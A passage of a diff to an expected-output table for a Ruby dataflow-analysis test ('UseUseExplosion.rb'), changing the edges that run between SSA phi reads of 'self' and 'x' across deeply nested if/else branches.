UseUseExplosion.rb:20:577:20:3268 | if ... | -| UseUseExplosion.rb:20:3259:20:3264 | [post] self | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3259:20:3264 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3259:20:3264 | call to use | UseUseExplosion.rb:20:3254:20:3264 | else ... | -| UseUseExplosion.rb:20:3259:20:3264 | self | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3263:20:3263 | x | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | -| UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(x) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | +| UseUseExplosion.rb:20:3259:20:3264 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3263:20:3263 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3270:20:3280 | else ... | UseUseExplosion.rb:20:556:20:3284 | if ... | -| UseUseExplosion.rb:20:3275:20:3280 | [post] self | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3275:20:3280 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3275:20:3280 | call to use | UseUseExplosion.rb:20:3270:20:3280 | else ... | -| UseUseExplosion.rb:20:3275:20:3280 | self | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3279:20:3279 | x | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | -| UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(x) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | +| UseUseExplosion.rb:20:3275:20:3280 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3279:20:3279 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3286:20:3296 | else ... | UseUseExplosion.rb:20:535:20:3300 | if ... | -| UseUseExplosion.rb:20:3291:20:3296 | [post] self | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3291:20:3296 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3291:20:3296 | call to use | UseUseExplosion.rb:20:3286:20:3296 | else ... | -| UseUseExplosion.rb:20:3291:20:3296 | self | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3295:20:3295 | x | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | -| UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(x) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | +| UseUseExplosion.rb:20:3291:20:3296 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3295:20:3295 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3302:20:3312 | else ... | UseUseExplosion.rb:20:514:20:3316 | if ... | -| UseUseExplosion.rb:20:3307:20:3312 | [post] self | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3307:20:3312 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3307:20:3312 | call to use | UseUseExplosion.rb:20:3302:20:3312 | else ... | -| UseUseExplosion.rb:20:3307:20:3312 | self | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3311:20:3311 | x | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | -| UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(x) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | +| UseUseExplosion.rb:20:3307:20:3312 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3311:20:3311 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3318:20:3328 | else ... | UseUseExplosion.rb:20:493:20:3332 | if ... | -| UseUseExplosion.rb:20:3323:20:3328 | [post] self | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3323:20:3328 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3323:20:3328 | call to use | UseUseExplosion.rb:20:3318:20:3328 | else ... | -| UseUseExplosion.rb:20:3323:20:3328 | self | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3327:20:3327 | x | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | -| UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(x) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | +| UseUseExplosion.rb:20:3323:20:3328 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3327:20:3327 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3334:20:3344 | else ... | UseUseExplosion.rb:20:472:20:3348 | if ... | -| UseUseExplosion.rb:20:3339:20:3344 | [post] self | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3339:20:3344 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3339:20:3344 | call to use | UseUseExplosion.rb:20:3334:20:3344 | else ... | -| UseUseExplosion.rb:20:3339:20:3344 | self | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3343:20:3343 | x | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | -| UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(x) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | +| UseUseExplosion.rb:20:3339:20:3344 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3343:20:3343 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3350:20:3360 | else ... | UseUseExplosion.rb:20:451:20:3364 | if ... | -| UseUseExplosion.rb:20:3355:20:3360 | [post] self | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3355:20:3360 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3355:20:3360 | call to use | UseUseExplosion.rb:20:3350:20:3360 | else ... | -| UseUseExplosion.rb:20:3355:20:3360 | self | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3359:20:3359 | x | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | -| UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(x) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | +| UseUseExplosion.rb:20:3355:20:3360 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3359:20:3359 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3366:20:3376 | else ... | UseUseExplosion.rb:20:430:20:3380 | if ... | -| UseUseExplosion.rb:20:3371:20:3376 | [post] self | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3371:20:3376 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3371:20:3376 | call to use | UseUseExplosion.rb:20:3366:20:3376 | else ... | -| UseUseExplosion.rb:20:3371:20:3376 | self | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3375:20:3375 | x | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | -| UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(x) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | +| UseUseExplosion.rb:20:3371:20:3376 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3375:20:3375 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3382:20:3392 | else ... | UseUseExplosion.rb:20:409:20:3396 | if ... | -| UseUseExplosion.rb:20:3387:20:3392 | [post] self | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3387:20:3392 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3387:20:3392 | call to use | UseUseExplosion.rb:20:3382:20:3392 | else ... | -| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | -| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | +| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3398:20:3408 | else ... | UseUseExplosion.rb:20:388:20:3412 | if ... | -| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3403:20:3408 | call to use | UseUseExplosion.rb:20:3398:20:3408 | else ... | -| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | -| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | +| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3414:20:3424 | else ... | UseUseExplosion.rb:20:367:20:3428 | if ... | -| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3419:20:3424 | call to use | UseUseExplosion.rb:20:3414:20:3424 | else ... | -| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | -| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | +| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3430:20:3440 | else ... | UseUseExplosion.rb:20:346:20:3444 | if ... | -| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3435:20:3440 | call to use | UseUseExplosion.rb:20:3430:20:3440 | else ... | -| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | -| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | +| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3446:20:3456 | else ... | UseUseExplosion.rb:20:325:20:3460 | if ... | -| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3451:20:3456 | call to use | UseUseExplosion.rb:20:3446:20:3456 | else ... | -| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | -| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | +| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3462:20:3472 | else ... | UseUseExplosion.rb:20:304:20:3476 | if ... | -| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3467:20:3472 | call to use | UseUseExplosion.rb:20:3462:20:3472 | else ... | -| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | -| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | +| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3478:20:3488 | else ... | UseUseExplosion.rb:20:283:20:3492 | if ... | -| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3483:20:3488 | call to use | UseUseExplosion.rb:20:3478:20:3488 | else ... | -| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | -| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | +| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3494:20:3504 | else ... | UseUseExplosion.rb:20:262:20:3508 | if ... | -| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3499:20:3504 | call to use | UseUseExplosion.rb:20:3494:20:3504 | else ... | -| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | -| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | +| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3510:20:3520 | else ... | UseUseExplosion.rb:20:241:20:3524 | if ... | -| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3515:20:3520 | call to use | UseUseExplosion.rb:20:3510:20:3520 | else ... | -| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | -| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | +| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3526:20:3536 | else ... | UseUseExplosion.rb:20:220:20:3540 | if ... | -| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3531:20:3536 | call to use | UseUseExplosion.rb:20:3526:20:3536 | else ... | -| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | -| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | +| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3542:20:3552 | else ... | UseUseExplosion.rb:20:199:20:3556 | if ... | -| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3547:20:3552 | call to use | UseUseExplosion.rb:20:3542:20:3552 | else ... | -| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | -| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | +| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3558:20:3568 | else ... | UseUseExplosion.rb:20:178:20:3572 | if ... | -| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3563:20:3568 | call to use | UseUseExplosion.rb:20:3558:20:3568 | else ... | -| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | -| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | +| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3574:20:3584 | else ... | UseUseExplosion.rb:20:157:20:3588 | if ... | -| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3579:20:3584 | call to use | UseUseExplosion.rb:20:3574:20:3584 | else ... | -| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | -| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | +| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3590:20:3600 | else ... | UseUseExplosion.rb:20:136:20:3604 | if ... | -| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3595:20:3600 | call to use | UseUseExplosion.rb:20:3590:20:3600 | else ... | -| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | -| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | +| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3606:20:3616 | else ... | UseUseExplosion.rb:20:115:20:3620 | if ... | -| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3611:20:3616 | call to use | UseUseExplosion.rb:20:3606:20:3616 | else ... | -| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | -| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | +| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3622:20:3632 | else ... | UseUseExplosion.rb:20:94:20:3636 | if ... | -| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3627:20:3632 | call to use | UseUseExplosion.rb:20:3622:20:3632 | else ... | -| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | -| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | +| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3638:20:3648 | else ... | UseUseExplosion.rb:20:73:20:3652 | if ... | -| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3643:20:3648 | call to use | UseUseExplosion.rb:20:3638:20:3648 | else ... | -| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | -| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | +| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:21:13:21:17 | self | +| 